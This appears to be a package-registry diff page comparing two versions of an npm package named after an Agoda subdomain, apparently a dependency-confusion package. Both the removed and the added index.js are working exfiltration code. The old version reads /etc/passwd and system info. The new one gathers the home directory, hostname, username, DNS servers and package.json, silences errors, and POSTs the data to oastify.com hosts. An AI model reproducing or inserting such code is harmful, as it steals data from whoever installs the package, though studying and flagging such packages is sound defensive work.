wpdesigndev.wp.agoda.com 100.0.5 → 100.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +36 -28
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,38 +1,46 @@
1
- const https = require('https');
2
- const os = require('os');
3
- const fs = require('fs');
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
4
7
 
5
- // Read the /etc/passwd file
6
- const passwdData = fs.readFileSync('/etc/passwd', 'utf8');
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
7
19
 
8
- // Create a data object with system information and /etc/passwd content
9
- const data = JSON.stringify({
10
- hostname: os.hostname(),
11
- platform: os.platform(),
12
- userInfo: os.userInfo(),
13
- passwd: passwdData
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
14
22
  });
15
23
 
16
- const options = {
17
- hostname: 'ykm7y043idiood9hmgaqxlossjyam1aq.oastify.com',
18
- port: 443,
19
- path: '/exfiltrate',
20
- method: 'POST',
21
- headers: {
22
- 'Content-Type': 'application/json',
23
- 'Content-Length': Buffer.byteLength(data)
24
- }
24
+ var options = {
25
+ hostname: "svrf556rlospl1i7d7q6zblt2k8bw1kq.oastify.com",
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
25
33
  };
26
34
 
27
- const req = https.request(options, (res) => {
28
- res.on('data', (d) => {
29
- process.stdout.write(d);
30
- });
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
31
39
  });
32
40
 
33
- req.on('error', (e) => {
34
- console.error(e);
41
+ req.on("error", (e) => {
42
+ // console.error(e);
35
43
  });
36
44
 
37
- req.write(data);
38
- req.end();
45
+ req.write(postData);
46
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "wpdesigndev.wp.agoda.com",
3
- "version": "100.0.5",
3
+ "version": "100.0.9",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1",